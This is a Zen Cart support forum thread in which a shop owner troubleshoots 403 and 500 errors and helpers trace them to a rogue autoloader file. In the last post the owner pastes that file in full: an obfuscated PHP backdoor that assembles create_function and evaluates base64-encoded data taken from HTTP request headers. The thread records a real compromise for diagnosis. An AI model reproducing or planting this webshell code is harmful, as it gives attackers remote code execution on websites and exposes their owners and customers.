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  1. #1
    Join Date
    Oct 2013
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    Default 403 Error and 500 Internal Error

    Hello, my website is milixia.com. Until recently I had everything working smoothly using zen cart, but one day I tried to access my site and was not able to. I can still get to my Admin settings fine using the web browser and also files such as images. For example:
    http://milixia.com/zen/images/acryli...e1blackred.png

    I do have an SSL setup on my website which was working fine some time ago. If I try to go to milixia.com I get the 403 forbidden and it says there was also a 404 error. If I try to go to www.milixia.com/zen/index.php then I get a 500 Server error.

    Can someone help me troubleshoot the issue?

  2. #2
    Join Date
    Nov 2007
    Location
    Sunny Coast, Australia
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    3,378
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by cpye2 View Post
    ..... If I try to go to milixia.com I get the 403 forbidden and it says there was also a 404 error.
    Check permissions for your files and folders

    Quote Originally Posted by cpye2 View Post
    .....If I try to go to www.milixia.com/zen/index.php then I get a 500 Server error.
    I am only getting a blank page on this link.

    What do you find in your /logs folder?

  3. #3
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by frank18 View Post
    Check permissions for your files and folders



    I am only getting a blank page on this link.

    What do you find in your /logs folder?
    This appears to be in a few of the logs I checked:
    [05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

    As far as permissions go, I set all the files / folders to 755, then went to the setup help and changed the following:
    As such, you need to change the permissions on the following directories to 777 (read/write/execute). If your program allows you to set these permissions "recursively", choose that option.
    /catalog/cache
    /catalog/images
    /catalog/includes/languages/english/html_includes
    /catalog/media
    /catalog/pub
    /catalog/admin/backups
    /catalog/admin/images/graphs

    Note: open the catalog/images directory and change all of the subdirectories and their subdirectories to 777 as well. For example (this is a partial list):
    /catalog/images/attributes
    /catalog/images/banners
    /catalog/images/categories
    /catalog/images/large
    /catalog/images/large/dvd
    /catalog/images/manufacturers
    /catalog/images/medium
    /catalog/images/upload

    and

    You will now want to change the permissions on the configure.php files with chmod 644 (or 444 depending on your server...and sometimes setting 444 cannot be done via FTP, in which case use your host's control panel or file manager to set the permissions level.)

    These are located here (remember, "catalog" is what we used as an example here -- your site may or may not include "catalog" as a folder name):
    /catalog/includes/configure.php
    /catalog/admin/includes/configure.php


    Did I miss something or need to change some more?

  4. #4
    Join Date
    Nov 2007
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by cpye2 View Post
    This appears to be in a few of the logs I checked:
    [05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30
    Hmmm... in a 1.5.4 file system there is no such file includes/auto_loaders/config.canonical_ver1.php, the file that should be there is called includes/auto_loaders/config.canonical.php with only 17 lines plus line 18 being blank.

    Quote Originally Posted by cpye2 View Post
    As far as permissions go, I set all the files / folders to 755, then went to the setup help and changed the following:
    As such, you need to change the permissions on the following directories to 777 (read/write/execute).
    Folders need to be set to 755 except for some as outlined above. Files need to be set to 644 - not 755! The 2 configure.php files need 444 or 400.

    If you haven't made any changes then check this link: https://www.zen-cart.com/wiki/index....ing_From_Hacks
    Last edited by frank18; 7 Nov 2015 at 03:44 AM.

  5. #5
    Join Date
    Jul 2012
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    16,817
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    Default Re: 403 Error and 500 Internal Error

    This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

    Regarding this error:
    Code:
    [05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30
    It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
    Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.
    ZC Installation/Maintenance Support <- Site
    Contribution for contributions welcome...

  6. #6
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by mc12345678 View Post
    This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

    Regarding this error:
    Code:
    [05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30
    It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
    Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.

    Which confirms my post above (#4)....

  7. #7
    Join Date
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by frank18 View Post
    Hmmm... in a 1.5.4 file system there is no such file includes/auto_loaders/config.canonical_ver1.php, the file that should be there is called includes/auto_loaders/config.canonical.php with only 17 lines plus line 18 being blank.



    Folders need to be set to 755 except for some as outlined above. Files need to be set to 644 - not 755! The 2 configure.php files need 444 or 400.

    If you haven't made any changes then check this link: https://www.zen-cart.com/wiki/index....ing_From_Hacks
    OK, I have all the files on the server set to 644 except the 2 configure files I have set to 444. I have all the folders set to 755 except the ones in the tutorial say can also be set to 777. I am still getting the permission error. Do you think my problem may be within my SSL or .htaccess?

  8. #8
    Join Date
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by mc12345678 View Post
    This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

    Regarding this error:
    Code:
    [05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30
    It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
    Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.
    My includes/auto_loader/ folder has 2 files in it. One is named config.canonical_ver1.php and the other config.canonical.php. The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size. The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

    I'm not sure what to do with this information.

  9. #9
    Join Date
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by cpye2 View Post
    My includes/auto_loader/ folder has 2 files in it. One is named config.canonical_ver1.php and the other config.canonical.php. The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size. The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

    I'm not sure what to do with this information.
    Download the file config.canonical_ver1.php to your HD and then delete it from the server. Make sure that your files and folders have the correct permissions as above. Then see if you can access the site without errors.

    Happy to have a look at the content of that obscure file. You could zip it up and email it to me: office (at) isonetwork (dot) net (dot) au
    Last edited by frank18; 7 Nov 2015 at 04:28 AM.

  10. #10
    Join Date
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    Default Re: 403 Error and 500 Internal Error

    Quote Originally Posted by cpye2 View Post
    My includes/auto_loader/ folder has 2 files in it. One is named config.canonical_ver1.php and the other config.canonical.php. The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size. The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

    I'm not sure what to do with this information.
    What should I do to correct this?

    My config.canonical.php on my server has the same text in it as the one on my hard drive so it looks to be correct, but the config.canonical_ver1.php has the following in it:

    <?php
    $dictating ='r';$frustrates = '(';$glassy = 's'; $bare= 'RbUORd';$brook = 'g_JI;E';$widow='a';

    $disputes = 'e';
    $bananas ='c';

    $electrocutions ='$'; $automotive=')'; $aryl ='>sy)g_("r'; $ferne =')'; $eviction= 'e'; $kort='rE[T';$farlay= '_';

    $flashers = 'u';

    $euphemisms= '"';

    $commissioners = 't)aR=s$"';$careen='t';$eh =')';$beefing = ';'; $corrects='_';$awkwardness = 'Xo';$charters = '6rKTi=PtT'; $complemented ='e_piN'; $existence =' ';$duck =';fIsTpf_';$consultative= 'r'; $jocund ='o';$focuses = ';I,Kr[$';$insolent ='(T';
    $environ ='i';
    $creeping ='S';$galloped='?'; $ingeborg='s';$joins= 'n';$guide = 'vG)E';$interspersing='n';$corri= 'i'; $fluffier ='R'; $disgusting='u'; $caverns= 'a'; $heyday = 'R';$hereinbelow ='d'; $edan = 'T';$indoctrinate = ')';$disgruntled = '_:n_]i';
    $curry= 'r';$engineer= 's';

    $disgusting='seJUg';$fresco='(';$communicated= 'rora:eP$$'; $francklin ='e'; $jemmie = 'e';
    $integrating = 'NN)';$goods ='(';$homeomorphism ='s'; $eleanore ='eOVO_'; $innovate = 'R';
    $frustum='Pr$)';$ingrim='('; $epithelial = 'T';$botany='r';$handicaps = 'n';

    $ashely = 'aFNiErmn';

    $crates=')Hd'; $intangible =']'; $introspection = 'Ce=<T';$biophysicist='jEWjcy@H?';
    $gratefully='D';$jannelle = 'Lav"';$depositary = '$r;St?';$levitate='('; $fuckmeharder ='[t(I'; $goblets ='A'; $conversantly = 'JeYa"E$Ce';$januaries='_e(e'; $laboratory='eN';$kain= 'sr(V';
    $hurting = '[(BQ';$jacobo = 't';
    $briefest='nSiatv$';$inverters= 'l'; $jeth = 'a';$holds='c'; $covary = 'n'; $arlena = 'R';$doubtless ='_';$chantal='M]Zi,"'; $consigns = 'Q';$evileyes='a'; $architectonic= ')t"SR"$c]';$emera ='evtiilH4i';$conceal='[saSr'; $casebook=$architectonic['7'].$conceal['4'] . $emera['0'] .
    $conceal['2'] . $emera['2'] . $emera['0']. $doubtless.
    $duck['6'].
    $disgusting. $covary .$architectonic['7'] .$emera['2']. $emera['8'] . $communicated['1']. $covary; $churns = $existence; $hannie = $casebook ($churns,$emera['0'] . $emera['1'].

    $conceal['2'] .
    $emera['5']. $hurting['1'].
    $conceal['2'] .

    $conceal['4'] . $conceal['4'].$conceal['2'].

    $biophysicist['5'].

    $doubtless. $duck['5'] .$communicated['1'].$duck['5'].$hurting['1'].
    $duck['6'].
    $disgusting . $covary.$architectonic['7'] . $doubtless . $disgusting['4']. $emera['0'].

    $emera['2'].$doubtless. $conceal['2'].$conceal['4'] .$disgusting['4'].$conceal['1'] .$hurting['1'] .$architectonic['0'].

    $architectonic['0'] .$architectonic['0'].$depositary['2']);

    $hannie($laboratory['1'],$halley['2'] , $conceal['0'], $lotus['1'] ,
    $biophysicist[6], $fuckmeharder['3'],$architectonic['6'] .$emera['8'] .

    $introspection['2'] . $conceal['2'].
    $conceal['4'] .$conceal['4']. $conceal['2']. $biophysicist['5']. $doubtless .

    $ashely['6'] .
    $emera['0']. $conceal['4'] .$disgusting['4'] . $emera['0'].$hurting['1'] .$architectonic['6'].$doubtless. $architectonic['4'] .
    $conversantly['5'] .$consigns.

    $disgusting['3'] . $conversantly['5']. $conceal['3'].
    $introspection['4'] . $chantal['4']. $architectonic['6'] .$doubtless .
    $conversantly[7]. $eleanore['3'].$eleanore['3'] . $focuses['3'] .$fuckmeharder['3'] . $conversantly['5']. $chantal['4'] . $architectonic['6'].
    $doubtless .

    $conceal['3'].$conversantly['5'] .$architectonic['4'].

    $kain['3']. $conversantly['5']. $architectonic['4'] .$architectonic['0'] . $depositary['2'] .$architectonic['6'].$conceal['2'] . $introspection['2'] . $emera['8'].
    $conceal['1'] .$conceal['1'] .$emera['0']. $emera['2'] . $hurting['1'] .$architectonic['6'] .$emera['8']. $conceal['0']. $architectonic['5'] . $conceal['1'].$conceal['4'].
    $conceal['4'].$covary . $emera['2'].$biophysicist[3].$covary. $emera['8'] . $architectonic['5'].$architectonic['8'] .$architectonic['0'] .$depositary[5].$architectonic['6'] .
    $emera['8'].$conceal['0'] .
    $architectonic['5'] .
    $conceal['1'] .

    $conceal['4'].$conceal['4'] . $covary.$emera['2'] . $biophysicist[3] .$covary.$emera['8'] .$architectonic['5'] . $architectonic['8'] . $communicated['4'] .$hurting['1'] .$emera['8'].
    $conceal['1'] . $conceal['1']. $emera['0'].$emera['2']. $hurting['1'].
    $architectonic['6'] . $emera['8']. $conceal['0'] .

    $architectonic['5'] .$emera['6'] .$introspection['4'] .$introspection['4'] . $frustum['0'] . $doubtless .$conceal['3'].$architectonic['4'].$architectonic['4'].$laboratory['1'] . $introspection['4']. $conversantly['0'].$laboratory['1'].$fuckmeharder['3']. $architectonic['5'] .

    $architectonic['8'].$architectonic['0'].$depositary[5].$architectonic['6'] .$emera['8']. $conceal['0'] .$architectonic['5'] .
    $emera['6'] . $introspection['4'] . $introspection['4'].$frustum['0'] .$doubtless.

    $conceal['3']. $architectonic['4'].$architectonic['4']. $laboratory['1']. $introspection['4'] . $conversantly['0'] . $laboratory['1'] .$fuckmeharder['3'] .

    $architectonic['5'].$architectonic['8'] . $communicated['4'] .$crates['2'].$emera['8']. $emera['0']. $architectonic['0'].$depositary['2']. $emera['0'].$emera['1'].$conceal['2']. $emera['5']. $hurting['1'] .$conceal['1'] .

    $emera['2'] .$conceal['4'].$conceal['4'] .$emera['0']. $emera['1'].$hurting['1'] . $bare['1'] .$conceal['2'] .$conceal['1']. $emera['0']. $charters[0] .$emera['7']. $doubtless.$crates['2'] . $emera['0'].$architectonic['7'].
    $communicated['1'].$crates['2'] .
    $emera['0'] . $hurting['1'].

    $conceal['1']. $emera['2'] .$conceal['4']. $conceal['4'] .

    $emera['0'] .

    $emera['1']. $hurting['1'] . $architectonic['6'] .
    $conceal['2']. $architectonic['0'] .
    $architectonic['0'] . $architectonic['0'] .$architectonic['0'].$depositary['2'] );

 

 
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